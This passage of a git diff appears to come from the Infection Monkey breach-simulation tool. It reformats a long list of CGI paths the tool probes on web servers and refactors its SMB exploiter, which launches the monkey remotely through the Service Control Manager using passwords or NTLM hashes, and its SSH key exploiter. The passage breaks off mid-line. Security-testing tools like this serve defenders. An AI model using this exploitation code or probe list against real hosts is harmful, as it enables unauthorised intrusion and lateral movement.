r'/cgi-bin/dfire.cgi', - r'/cgi-bin/diagnose.cgi', - r'/cgi-bin/dig.cgi', - r'/cgi-bin/directorypro.cgi', - r'/cgi-bin/download.cgi', - r'/cgi-bin/e87_Ba79yo87.cgi', - r'/cgi-bin/emu/html/emumail.cgi', - r'/cgi-bin/emumail.cgi', - r'/cgi-bin/emumail/emumail.cgi', - r'/cgi-bin/enter.cgi', - r'/cgi-bin/environ.cgi', - r'/cgi-bin/ezadmin.cgi', - r'/cgi-bin/ezboard.cgi', - r'/cgi-bin/ezman.cgi', - r'/cgi-bin/ezshopper2/loadpage.cgi', - r'/cgi-bin/ezshopper3/loadpage.cgi', - r'/cgi-bin/ezshopper/loadpage.cgi', - r'/cgi-bin/ezshopper/search.cgi', - r'/cgi-bin/faqmanager.cgi', - r'/cgi-bin/FileSeek2.cgi', - r'/cgi-bin/FileSeek.cgi', - r'/cgi-bin/finger.cgi', - r'/cgi-bin/flexform.cgi', - r'/cgi-bin/fom.cgi', - r'/cgi-bin/fom/fom.cgi', - r'/cgi-bin/FormHandler.cgi', - r'/cgi-bin/FormMail.cgi', - r'/cgi-bin/gbadmin.cgi', - r'/cgi-bin/gbook/gbook.cgi', - r'/cgi-bin/generate.cgi', - r'/cgi-bin/getdoc.cgi', - r'/cgi-bin/gH.cgi', - r'/cgi-bin/gm-authors.cgi', - r'/cgi-bin/gm.cgi', - r'/cgi-bin/gm-cplog.cgi', - r'/cgi-bin/guestbook.cgi', - r'/cgi-bin/handler', - r'/cgi-bin/handler.cgi', - r'/cgi-bin/handler/netsonar', - r'/cgi-bin/hitview.cgi', - r'/cgi-bin/hsx.cgi', - r'/cgi-bin/html2chtml.cgi', - r'/cgi-bin/html2wml.cgi', - r'/cgi-bin/htsearch.cgi', - r'/cgi-bin/hw.sh', # testing - r'/cgi-bin/icat', - r'/cgi-bin/if/admin/nph-build.cgi', - r'/cgi-bin/ikonboard/help.cgi', - r'/cgi-bin/ImageFolio/admin/admin.cgi', - r'/cgi-bin/imageFolio.cgi', - r'/cgi-bin/index.cgi', - r'/cgi-bin/infosrch.cgi', - r'/cgi-bin/jammail.pl', - r'/cgi-bin/journal.cgi', - r'/cgi-bin/lastlines.cgi', - r'/cgi-bin/loadpage.cgi', - r'/cgi-bin/login.cgi', - r'/cgi-bin/logit.cgi', - r'/cgi-bin/log-reader.cgi', - r'/cgi-bin/lookwho.cgi', - r'/cgi-bin/lwgate.cgi', - r'/cgi-bin/MachineInfo', - r'/cgi-bin/MachineInfo', - r'/cgi-bin/magiccard.cgi', - r'/cgi-bin/mail/emumail.cgi', - r'/cgi-bin/maillist.cgi', - r'/cgi-bin/mailnews.cgi', - r'/cgi-bin/mail/nph-mr.cgi', - r'/cgi-bin/main.cgi', - r'/cgi-bin/main_menu.pl', - r'/cgi-bin/man.sh', - r'/cgi-bin/mini_logger.cgi', - r'/cgi-bin/mmstdod.cgi', - r'/cgi-bin/moin.cgi', - r'/cgi-bin/mojo/mojo.cgi', - r'/cgi-bin/mrtg.cgi', - r'/cgi-bin/mt.cgi', - r'/cgi-bin/mt/mt.cgi', - r'/cgi-bin/mt/mt-check.cgi', - r'/cgi-bin/mt/mt-load.cgi', - r'/cgi-bin/mt-static/mt-check.cgi', - r'/cgi-bin/mt-static/mt-load.cgi', - r'/cgi-bin/musicqueue.cgi', - r'/cgi-bin/myguestbook.cgi', - r'/cgi-bin/.namazu.cgi', - r'/cgi-bin/nbmember.cgi', - r'/cgi-bin/netauth.cgi', - r'/cgi-bin/netpad.cgi', - r'/cgi-bin/newsdesk.cgi', - r'/cgi-bin/nlog-smb.cgi', - r'/cgi-bin/nph-emumail.cgi', - r'/cgi-bin/nph-exploitscanget.cgi', - r'/cgi-bin/nph-publish.cgi', - r'/cgi-bin/nph-test.cgi', - r'/cgi-bin/pagelog.cgi', - r'/cgi-bin/pbcgi.cgi', - r'/cgi-bin/perlshop.cgi', - r'/cgi-bin/pfdispaly.cgi', - r'/cgi-bin/pfdisplay.cgi', - r'/cgi-bin/phf.cgi', - r'/cgi-bin/photo/manage.cgi', - r'/cgi-bin/photo/protected/manage.cgi', - r'/cgi-bin/php-cgi', - r'/cgi-bin/php.cgi', - r'/cgi-bin/php.fcgi', - r'/cgi-bin/ping.sh', - r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi', - r'/cgi-bin/pollssi.cgi', - r'/cgi-bin/postcards.cgi', - r'/cgi-bin/powerup/r.cgi', - r'/cgi-bin/printenv', - r'/cgi-bin/probecontrol.cgi', - r'/cgi-bin/profile.cgi', - r'/cgi-bin/publisher/search.cgi', - r'/cgi-bin/quickstore.cgi', - r'/cgi-bin/quizme.cgi', - r'/cgi-bin/ratlog.cgi', - r'/cgi-bin/r.cgi', - r'/cgi-bin/register.cgi', - r'/cgi-bin/replicator/webpage.cgi/', - r'/cgi-bin/responder.cgi', - r'/cgi-bin/robadmin.cgi', - r'/cgi-bin/robpoll.cgi', - r'/cgi-bin/rtpd.cgi', - r'/cgi-bin/sbcgi/sitebuilder.cgi', - r'/cgi-bin/scoadminreg.cgi', - r'/cgi-bin-sdb/printenv', - r'/cgi-bin/sdbsearch.cgi', - r'/cgi-bin/search', - r'/cgi-bin/search.cgi', - r'/cgi-bin/search/search.cgi', - r'/cgi-bin/sendform.cgi', - r'/cgi-bin/shop.cgi', - r'/cgi-bin/shopper.cgi', - r'/cgi-bin/shopplus.cgi', - r'/cgi-bin/showcheckins.cgi', - r'/cgi-bin/simplestguest.cgi', - r'/cgi-bin/simplestmail.cgi', - r'/cgi-bin/smartsearch.cgi', - r'/cgi-bin/smartsearch/smartsearch.cgi', - r'/cgi-bin/snorkerz.bat', - r'/cgi-bin/snorkerz.bat', - r'/cgi-bin/snorkerz.cmd', - r'/cgi-bin/snorkerz.cmd', - r'/cgi-bin/sojourn.cgi', - r'/cgi-bin/spin_client.cgi', - r'/cgi-bin/start.cgi', - r'/cgi-bin/status', - r'/cgi-bin/status_cgi', - r'/cgi-bin/store/agora.cgi', - r'/cgi-bin/store.cgi', - r'/cgi-bin/store/index.cgi', - r'/cgi-bin/survey.cgi', - r'/cgi-bin/sync.cgi', - r'/cgi-bin/talkback.cgi', - r'/cgi-bin/technote/main.cgi', - r'/cgi-bin/test2.pl', - r'/cgi-bin/test-cgi', - r'/cgi-bin/test.cgi', - r'/cgi-bin/testing_whatever', - r'/cgi-bin/test/test.cgi', - r'/cgi-bin/tidfinder.cgi', - r'/cgi-bin/tigvote.cgi', - r'/cgi-bin/title.cgi', - r'/cgi-bin/top.cgi', - r'/cgi-bin/traffic.cgi', - r'/cgi-bin/troops.cgi', - r'/cgi-bin/ttawebtop.cgi/', - r'/cgi-bin/ultraboard.cgi', - r'/cgi-bin/upload.cgi', - r'/cgi-bin/urlcount.cgi', - r'/cgi-bin/viewcvs.cgi', - r'/cgi-bin/view_help.cgi', - r'/cgi-bin/viralator.cgi', - r'/cgi-bin/virgil.cgi', - r'/cgi-bin/vote.cgi', - r'/cgi-bin/vpasswd.cgi', - r'/cgi-bin/way-board.cgi', - r'/cgi-bin/way-board/way-board.cgi', - r'/cgi-bin/webbbs.cgi', - r'/cgi-bin/webcart/webcart.cgi', - r'/cgi-bin/webdist.cgi', - r'/cgi-bin/webif.cgi', - r'/cgi-bin/webmail/html/emumail.cgi', - r'/cgi-bin/webmap.cgi', - r'/cgi-bin/webspirs.cgi', - r'/cgi-bin/Web_Store/web_store.cgi', - r'/cgi-bin/whois.cgi', - r'/cgi-bin/whois_raw.cgi', - r'/cgi-bin/whois/whois.cgi', - r'/cgi-bin/wrap', - r'/cgi-bin/wrap.cgi', - r'/cgi-bin/wwwboard.cgi.cgi', - r'/cgi-bin/YaBB/YaBB.cgi', - r'/cgi-bin/zml.cgi', - r'/cgi-mod/index.cgi', - r'/cgis/wwwboard/wwwboard.cgi', - r'/cgi-sys/addalink.cgi', - r'/cgi-sys/defaultwebpage.cgi', - r'/cgi-sys/domainredirect.cgi', - r'/cgi-sys/entropybanner.cgi', - r'/cgi-sys/entropysearch.cgi', - r'/cgi-sys/FormMail-clone.cgi', - r'/cgi-sys/helpdesk.cgi', - r'/cgi-sys/mchat.cgi', - r'/cgi-sys/randhtml.cgi', - r'/cgi-sys/realhelpdesk.cgi', - r'/cgi-sys/realsignup.cgi', - r'/cgi-sys/signup.cgi', - r'/connector.cgi', - r'/cp/rac/nsManager.cgi', - r'/create_release.sh', - r'/CSNews.cgi', - r'/csPassword.cgi', - r'/dcadmin.cgi', - r'/dcboard.cgi', - r'/dcforum.cgi', - r'/dcforum/dcforum.cgi', - r'/debuff.cgi', - r'/debug.cgi', - r'/details.cgi', - r'/edittag/edittag.cgi', - r'/emumail.cgi', - r'/enter_buff.cgi', - r'/enter_bug.cgi', - r'/ez2000/ezadmin.cgi', - r'/ez2000/ezboard.cgi', - r'/ez2000/ezman.cgi', - r'/fcgi-bin/echo', - r'/fcgi-bin/echo', - r'/fcgi-bin/echo2', - r'/fcgi-bin/echo2', - r'/Gozila.cgi', - r'/hitmatic/analyse.cgi', - r'/hp_docs/cgi-bin/index.cgi', - r'/html/cgi-bin/cgicso', - r'/html/cgi-bin/cgicso', - r'/index.cgi', - r'/info.cgi', - r'/infosrch.cgi', - r'/login.cgi', - r'/mailview.cgi', - r'/main.cgi', - r'/megabook/admin.cgi', - r'/ministats/admin.cgi', - r'/mods/apage/apage.cgi', - r'/_mt/mt.cgi', - r'/musicqueue.cgi', - r'/ncbook.cgi', - r'/newpro.cgi', - r'/newsletter.sh', - r'/oem_webstage/cgi-bin/oemapp_cgi', - r'/page.cgi', - r'/parse_xml.cgi', - r'/photodata/manage.cgi', - r'/photo/manage.cgi', - r'/print.cgi', - r'/process_buff.cgi', - r'/process_bug.cgi', - r'/pub/english.cgi', - r'/quikmail/nph-emumail.cgi', - r'/quikstore.cgi', - r'/reviews/newpro.cgi', - r'/ROADS/cgi-bin/search.pl', - r'/sample01.cgi', - r'/sample02.cgi', - r'/sample03.cgi', - r'/sample04.cgi', - r'/sampleposteddata.cgi', - r'/scancfg.cgi', - r'/scancfg.cgi', - r'/servers/link.cgi', - r'/setpasswd.cgi', - r'/SetSecurity.shm', - r'/shop/member_html.cgi', - r'/shop/normal_html.cgi', - r'/site_searcher.cgi', - r'/siteUserMod.cgi', - r'/submit.cgi', - r'/technote/print.cgi', - r'/template.cgi', - r'/test.cgi', - r'/ucsm/isSamInstalled.cgi', - r'/upload.cgi', - r'/userreg.cgi', - r'/users/scripts/submit.cgi', - r'/vood/cgi-bin/vood_view.cgi', - r'/Web_Store/web_store.cgi', - r'/webtools/bonsai/ccvsblame.cgi', - r'/webtools/bonsai/cvsblame.cgi', - r'/webtools/bonsai/cvslog.cgi', - r'/webtools/bonsai/cvsquery.cgi', - r'/webtools/bonsai/cvsqueryform.cgi', - r'/webtools/bonsai/showcheckins.cgi', - r'/wwwadmin.cgi', - r'/wwwboard.cgi', - r'/wwwboard/wwwboard.cgi') \ No newline at end of file +CGI_FILES = ( + r'/', + r'/admin.cgi', + r'/administrator.cgi', + r'/agora.cgi', + r'/aktivate/cgi-bin/catgy.cgi', + r'/analyse.cgi', + r'/apps/web/vs_diag.cgi', + r'/axis-cgi/buffer/command.cgi', + r'/b2-include/b2edit.showposts.php', + r'/bandwidth/index.cgi', + r'/bigconf.cgi', + r'/cartcart.cgi', + r'/cart.cgi', + r'/ccbill/whereami.cgi', + r'/cgi-bin/14all-1.1.cgi', + r'/cgi-bin/14all.cgi', + r'/cgi-bin/a1disp3.cgi', + r'/cgi-bin/a1stats/a1disp3.cgi', + r'/cgi-bin/a1stats/a1disp4.cgi', + r'/cgi-bin/addbanner.cgi', + r'/cgi-bin/add_ftp.cgi', + r'/cgi-bin/adduser.cgi', + r'/cgi-bin/admin/admin.cgi', + r'/cgi-bin/admin.cgi', + r'/cgi-bin/admin/getparam.cgi', + r'/cgi-bin/adminhot.cgi', + r'/cgi-bin/admin.pl', + r'/cgi-bin/admin/setup.cgi', + r'/cgi-bin/adminwww.cgi', + r'/cgi-bin/af.cgi', + r'/cgi-bin/aglimpse.cgi', + r'/cgi-bin/alienform.cgi', + r'/cgi-bin/AnyBoard.cgi', + r'/cgi-bin/architext_query.cgi', + r'/cgi-bin/astrocam.cgi', + r'/cgi-bin/AT-admin.cgi', + r'/cgi-bin/AT-generate.cgi', + r'/cgi-bin/auction/auction.cgi', + r'/cgi-bin/auktion.cgi', + r'/cgi-bin/ax-admin.cgi', + r'/cgi-bin/ax.cgi', + r'/cgi-bin/axs.cgi', + r'/cgi-bin/badmin.cgi', + r'/cgi-bin/banner.cgi', + r'/cgi-bin/bannereditor.cgi', + r'/cgi-bin/bb-ack.sh', + r'/cgi-bin/bb-histlog.sh', + r'/cgi-bin/bb-hist.sh', + r'/cgi-bin/bb-hostsvc.sh', + r'/cgi-bin/bb-replog.sh', + r'/cgi-bin/bb-rep.sh', + r'/cgi-bin/bbs_forum.cgi', + r'/cgi-bin/bigconf.cgi', + r'/cgi-bin/bizdb1-search.cgi', + r'/cgi-bin/blog/mt-check.cgi', + r'/cgi-bin/blog/mt-load.cgi', + r'/cgi-bin/bnbform.cgi', + r'/cgi-bin/book.cgi', + r'/cgi-bin/boozt/admin/index.cgi', + r'/cgi-bin/bsguest.cgi', + r'/cgi-bin/bslist.cgi', + r'/cgi-bin/build.cgi', + r'/cgi-bin/bulk/bulk.cgi', + r'/cgi-bin/cached_feed.cgi', + r'/cgi-bin/cachemgr.cgi', + r'/cgi-bin/calendar/index.cgi', + r'/cgi-bin/cartmanager.cgi', + r'/cgi-bin/cbmc/forums.cgi', + r'/cgi-bin/ccvsblame.cgi', + r'/cgi-bin/c_download.cgi', + r'/cgi-bin/cgforum.cgi', + r'/cgi-bin/.cgi', + r'/cgi-bin/cgi_process', + r'/cgi-bin/classified.cgi', + r'/cgi-bin/classifieds.cgi', + r'/cgi-bin/classifieds/classifieds.cgi', + r'/cgi-bin/classifieds/index.cgi', + r'/cgi-bin/.cobalt/alert/service.cgi', + r'/cgi-bin/.cobalt/message/message.cgi', + r'/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi', + r'/cgi-bin/commandit.cgi', + r'/cgi-bin/commerce.cgi', + r'/cgi-bin/common/listrec.pl', + r'/cgi-bin/compatible.cgi', + r'/cgi-bin/Count.cgi', + r'/cgi-bin/csChatRBox.cgi', + r'/cgi-bin/csGuestBook.cgi', + r'/cgi-bin/csLiveSupport.cgi', + r'/cgi-bin/CSMailto.cgi', + r'/cgi-bin/CSMailto/CSMailto.cgi', + r'/cgi-bin/csNews.cgi', + r'/cgi-bin/csNewsPro.cgi', + r'/cgi-bin/csPassword.cgi', + r'/cgi-bin/csPassword/csPassword.cgi', + r'/cgi-bin/csSearch.cgi', + r'/cgi-bin/csv_db.cgi', + r'/cgi-bin/cvsblame.cgi', + r'/cgi-bin/cvslog.cgi', + r'/cgi-bin/cvsquery.cgi', + r'/cgi-bin/cvsqueryform.cgi', + r'/cgi-bin/day5datacopier.cgi', + r'/cgi-bin/day5datanotifier.cgi', + r'/cgi-bin/db_manager.cgi', + r'/cgi-bin/dbman/db.cgi', + r'/cgi-bin/dcforum.cgi', + r'/cgi-bin/dcshop.cgi', + r'/cgi-bin/dfire.cgi', + r'/cgi-bin/diagnose.cgi', + r'/cgi-bin/dig.cgi', + r'/cgi-bin/directorypro.cgi', + r'/cgi-bin/download.cgi', + r'/cgi-bin/e87_Ba79yo87.cgi', + r'/cgi-bin/emu/html/emumail.cgi', + r'/cgi-bin/emumail.cgi', + r'/cgi-bin/emumail/emumail.cgi', + r'/cgi-bin/enter.cgi', + r'/cgi-bin/environ.cgi', + r'/cgi-bin/ezadmin.cgi', + r'/cgi-bin/ezboard.cgi', + r'/cgi-bin/ezman.cgi', + r'/cgi-bin/ezshopper2/loadpage.cgi', + r'/cgi-bin/ezshopper3/loadpage.cgi', + r'/cgi-bin/ezshopper/loadpage.cgi', + r'/cgi-bin/ezshopper/search.cgi', + r'/cgi-bin/faqmanager.cgi', + r'/cgi-bin/FileSeek2.cgi', + r'/cgi-bin/FileSeek.cgi', + r'/cgi-bin/finger.cgi', + r'/cgi-bin/flexform.cgi', + r'/cgi-bin/fom.cgi', + r'/cgi-bin/fom/fom.cgi', + r'/cgi-bin/FormHandler.cgi', + r'/cgi-bin/FormMail.cgi', + r'/cgi-bin/gbadmin.cgi', + r'/cgi-bin/gbook/gbook.cgi', + r'/cgi-bin/generate.cgi', + r'/cgi-bin/getdoc.cgi', + r'/cgi-bin/gH.cgi', + r'/cgi-bin/gm-authors.cgi', + r'/cgi-bin/gm.cgi', + r'/cgi-bin/gm-cplog.cgi', + r'/cgi-bin/guestbook.cgi', + r'/cgi-bin/handler', + r'/cgi-bin/handler.cgi', + r'/cgi-bin/handler/netsonar', + r'/cgi-bin/hitview.cgi', + r'/cgi-bin/hsx.cgi', + r'/cgi-bin/html2chtml.cgi', + r'/cgi-bin/html2wml.cgi', + r'/cgi-bin/htsearch.cgi', + r'/cgi-bin/hw.sh', # testing + r'/cgi-bin/icat', + r'/cgi-bin/if/admin/nph-build.cgi', + r'/cgi-bin/ikonboard/help.cgi', + r'/cgi-bin/ImageFolio/admin/admin.cgi', + r'/cgi-bin/imageFolio.cgi', + r'/cgi-bin/index.cgi', + r'/cgi-bin/infosrch.cgi', + r'/cgi-bin/jammail.pl', + r'/cgi-bin/journal.cgi', + r'/cgi-bin/lastlines.cgi', + r'/cgi-bin/loadpage.cgi', + r'/cgi-bin/login.cgi', + r'/cgi-bin/logit.cgi', + r'/cgi-bin/log-reader.cgi', + r'/cgi-bin/lookwho.cgi', + r'/cgi-bin/lwgate.cgi', + r'/cgi-bin/MachineInfo', + r'/cgi-bin/MachineInfo', + r'/cgi-bin/magiccard.cgi', + r'/cgi-bin/mail/emumail.cgi', + r'/cgi-bin/maillist.cgi', + r'/cgi-bin/mailnews.cgi', + r'/cgi-bin/mail/nph-mr.cgi', + r'/cgi-bin/main.cgi', + r'/cgi-bin/main_menu.pl', + r'/cgi-bin/man.sh', + r'/cgi-bin/mini_logger.cgi', + r'/cgi-bin/mmstdod.cgi', + r'/cgi-bin/moin.cgi', + r'/cgi-bin/mojo/mojo.cgi', + r'/cgi-bin/mrtg.cgi', + r'/cgi-bin/mt.cgi', + r'/cgi-bin/mt/mt.cgi', + r'/cgi-bin/mt/mt-check.cgi', + r'/cgi-bin/mt/mt-load.cgi', + r'/cgi-bin/mt-static/mt-check.cgi', + r'/cgi-bin/mt-static/mt-load.cgi', + r'/cgi-bin/musicqueue.cgi', + r'/cgi-bin/myguestbook.cgi', + r'/cgi-bin/.namazu.cgi', + r'/cgi-bin/nbmember.cgi', + r'/cgi-bin/netauth.cgi', + r'/cgi-bin/netpad.cgi', + r'/cgi-bin/newsdesk.cgi', + r'/cgi-bin/nlog-smb.cgi', + r'/cgi-bin/nph-emumail.cgi', + r'/cgi-bin/nph-exploitscanget.cgi', + r'/cgi-bin/nph-publish.cgi', + r'/cgi-bin/nph-test.cgi', + r'/cgi-bin/pagelog.cgi', + r'/cgi-bin/pbcgi.cgi', + r'/cgi-bin/perlshop.cgi', + r'/cgi-bin/pfdispaly.cgi', + r'/cgi-bin/pfdisplay.cgi', + r'/cgi-bin/phf.cgi', + r'/cgi-bin/photo/manage.cgi', + r'/cgi-bin/photo/protected/manage.cgi', + r'/cgi-bin/php-cgi', + r'/cgi-bin/php.cgi', + r'/cgi-bin/php.fcgi', + r'/cgi-bin/ping.sh', + r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi', + r'/cgi-bin/pollssi.cgi', + r'/cgi-bin/postcards.cgi', + r'/cgi-bin/powerup/r.cgi', + r'/cgi-bin/printenv', + r'/cgi-bin/probecontrol.cgi', + r'/cgi-bin/profile.cgi', + r'/cgi-bin/publisher/search.cgi', + r'/cgi-bin/quickstore.cgi', + r'/cgi-bin/quizme.cgi', + r'/cgi-bin/ratlog.cgi', + r'/cgi-bin/r.cgi', + r'/cgi-bin/register.cgi', + r'/cgi-bin/replicator/webpage.cgi/', + r'/cgi-bin/responder.cgi', + r'/cgi-bin/robadmin.cgi', + r'/cgi-bin/robpoll.cgi', + r'/cgi-bin/rtpd.cgi', + r'/cgi-bin/sbcgi/sitebuilder.cgi', + r'/cgi-bin/scoadminreg.cgi', + r'/cgi-bin-sdb/printenv', + r'/cgi-bin/sdbsearch.cgi', + r'/cgi-bin/search', + r'/cgi-bin/search.cgi', + r'/cgi-bin/search/search.cgi', + r'/cgi-bin/sendform.cgi', + r'/cgi-bin/shop.cgi', + r'/cgi-bin/shopper.cgi', + r'/cgi-bin/shopplus.cgi', + r'/cgi-bin/showcheckins.cgi', + r'/cgi-bin/simplestguest.cgi', + r'/cgi-bin/simplestmail.cgi', + r'/cgi-bin/smartsearch.cgi', + r'/cgi-bin/smartsearch/smartsearch.cgi', + r'/cgi-bin/snorkerz.bat', + r'/cgi-bin/snorkerz.bat', + r'/cgi-bin/snorkerz.cmd', + r'/cgi-bin/snorkerz.cmd', + r'/cgi-bin/sojourn.cgi', + r'/cgi-bin/spin_client.cgi', + r'/cgi-bin/start.cgi', + r'/cgi-bin/status', + r'/cgi-bin/status_cgi', + r'/cgi-bin/store/agora.cgi', + r'/cgi-bin/store.cgi', + r'/cgi-bin/store/index.cgi', + r'/cgi-bin/survey.cgi', + r'/cgi-bin/sync.cgi', + r'/cgi-bin/talkback.cgi', + r'/cgi-bin/technote/main.cgi', + r'/cgi-bin/test2.pl', + r'/cgi-bin/test-cgi', + r'/cgi-bin/test.cgi', + r'/cgi-bin/testing_whatever', + r'/cgi-bin/test/test.cgi', + r'/cgi-bin/tidfinder.cgi', + r'/cgi-bin/tigvote.cgi', + r'/cgi-bin/title.cgi', + r'/cgi-bin/top.cgi', + r'/cgi-bin/traffic.cgi', + r'/cgi-bin/troops.cgi', + r'/cgi-bin/ttawebtop.cgi/', + r'/cgi-bin/ultraboard.cgi', + r'/cgi-bin/upload.cgi', + r'/cgi-bin/urlcount.cgi', + r'/cgi-bin/viewcvs.cgi', + r'/cgi-bin/view_help.cgi', + r'/cgi-bin/viralator.cgi', + r'/cgi-bin/virgil.cgi', + r'/cgi-bin/vote.cgi', + r'/cgi-bin/vpasswd.cgi', + r'/cgi-bin/way-board.cgi', + r'/cgi-bin/way-board/way-board.cgi', + r'/cgi-bin/webbbs.cgi', + r'/cgi-bin/webcart/webcart.cgi', + r'/cgi-bin/webdist.cgi', + r'/cgi-bin/webif.cgi', + r'/cgi-bin/webmail/html/emumail.cgi', + r'/cgi-bin/webmap.cgi', + r'/cgi-bin/webspirs.cgi', + r'/cgi-bin/Web_Store/web_store.cgi', + r'/cgi-bin/whois.cgi', + r'/cgi-bin/whois_raw.cgi', + r'/cgi-bin/whois/whois.cgi', + r'/cgi-bin/wrap', + r'/cgi-bin/wrap.cgi', + r'/cgi-bin/wwwboard.cgi.cgi', + r'/cgi-bin/YaBB/YaBB.cgi', + r'/cgi-bin/zml.cgi', + r'/cgi-mod/index.cgi', + r'/cgis/wwwboard/wwwboard.cgi', + r'/cgi-sys/addalink.cgi', + r'/cgi-sys/defaultwebpage.cgi', + r'/cgi-sys/domainredirect.cgi', + r'/cgi-sys/entropybanner.cgi', + r'/cgi-sys/entropysearch.cgi', + r'/cgi-sys/FormMail-clone.cgi', + r'/cgi-sys/helpdesk.cgi', + r'/cgi-sys/mchat.cgi', + r'/cgi-sys/randhtml.cgi', + r'/cgi-sys/realhelpdesk.cgi', + r'/cgi-sys/realsignup.cgi', + r'/cgi-sys/signup.cgi', + r'/connector.cgi', + r'/cp/rac/nsManager.cgi', + r'/create_release.sh', + r'/CSNews.cgi', + r'/csPassword.cgi', + r'/dcadmin.cgi', + r'/dcboard.cgi', + r'/dcforum.cgi', + r'/dcforum/dcforum.cgi', + r'/debuff.cgi', + r'/debug.cgi', + r'/details.cgi', + r'/edittag/edittag.cgi', + r'/emumail.cgi', + r'/enter_buff.cgi', + r'/enter_bug.cgi', + r'/ez2000/ezadmin.cgi', + r'/ez2000/ezboard.cgi', + r'/ez2000/ezman.cgi', + r'/fcgi-bin/echo', + r'/fcgi-bin/echo', + r'/fcgi-bin/echo2', + r'/fcgi-bin/echo2', + r'/Gozila.cgi', + r'/hitmatic/analyse.cgi', + r'/hp_docs/cgi-bin/index.cgi', + r'/html/cgi-bin/cgicso', + r'/html/cgi-bin/cgicso', + r'/index.cgi', + r'/info.cgi', + r'/infosrch.cgi', + r'/login.cgi', + r'/mailview.cgi', + r'/main.cgi', + r'/megabook/admin.cgi', + r'/ministats/admin.cgi', + r'/mods/apage/apage.cgi', + r'/_mt/mt.cgi', + r'/musicqueue.cgi', + r'/ncbook.cgi', + r'/newpro.cgi', + r'/newsletter.sh', + r'/oem_webstage/cgi-bin/oemapp_cgi', + r'/page.cgi', + r'/parse_xml.cgi', + r'/photodata/manage.cgi', + r'/photo/manage.cgi', + r'/print.cgi', + r'/process_buff.cgi', + r'/process_bug.cgi', + r'/pub/english.cgi', + r'/quikmail/nph-emumail.cgi', + r'/quikstore.cgi', + r'/reviews/newpro.cgi', + r'/ROADS/cgi-bin/search.pl', + r'/sample01.cgi', + r'/sample02.cgi', + r'/sample03.cgi', + r'/sample04.cgi', + r'/sampleposteddata.cgi', + r'/scancfg.cgi', + r'/scancfg.cgi', + r'/servers/link.cgi', + r'/setpasswd.cgi', + r'/SetSecurity.shm', + r'/shop/member_html.cgi', + r'/shop/normal_html.cgi', + r'/site_searcher.cgi', + r'/siteUserMod.cgi', + r'/submit.cgi', + r'/technote/print.cgi', + r'/template.cgi', + r'/test.cgi', + r'/ucsm/isSamInstalled.cgi', + r'/upload.cgi', + r'/userreg.cgi', + r'/users/scripts/submit.cgi', + r'/vood/cgi-bin/vood_view.cgi', + r'/Web_Store/web_store.cgi', + r'/webtools/bonsai/ccvsblame.cgi', + r'/webtools/bonsai/cvsblame.cgi', + r'/webtools/bonsai/cvslog.cgi', + r'/webtools/bonsai/cvsquery.cgi', + r'/webtools/bonsai/cvsqueryform.cgi', + r'/webtools/bonsai/showcheckins.cgi', + r'/wwwadmin.cgi', + r'/wwwboard.cgi', + r'/wwwboard/wwwboard.cgi' +) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 398d78d66..f53e1ac38 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -3,11 +3,11 @@ from logging import getLogger from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT -from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS -from infection_monkey.network import SMBFinger +from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port from common.utils.exploit_enum import ExploitType from infection_monkey.telemetry.attack.t1035_telem import T1035Telem @@ -108,16 +108,15 @@ class SmbExploiter(HostExploiter): cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ build_monkey_commandline(self.host, get_monkey_depth() - 1) + smb_conn = False for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) - if hasattr(rpctransport, 'preferred_dialect'): rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. - rpctransport.set_credentials(user, password, '', - lm_hash, ntlm_hash, None) + rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None) rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -125,13 +124,14 @@ class SmbExploiter(HostExploiter): try: scmr_rpc.connect() except Exception as exc: - LOG.warn("Error connecting to SCM on exploited machine %r: %s", - self.host, exc) - return False + LOG.debug("Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, exc) + continue smb_conn = rpctransport.get_smb_connection() break + if not smb_conn: + return False # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index ffd584d24..45d36d055 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,16 +1,15 @@ -import StringIO +import io import logging import time import paramiko import infection_monkey.monkeyfs as monkeyfs -from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline -from infection_monkey.exploit.tools.helpers import get_interface_to_target from infection_monkey.model import MONKEY_ARG -from infection_monkey.network.tools import check_tcp_port +from infection_monkey.network.tools import check_tcp_port, get_interface_to_target +from infection_monkey.exploit.tools.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1105_telem import T1105Telem @@ -38,15 +37,16 @@ class SSHExploiter(HostExploiter): LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() - def exploit_with_ssh_keys(self, port, ssh): + def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() - exploited = False - for user, ssh_key_pair in 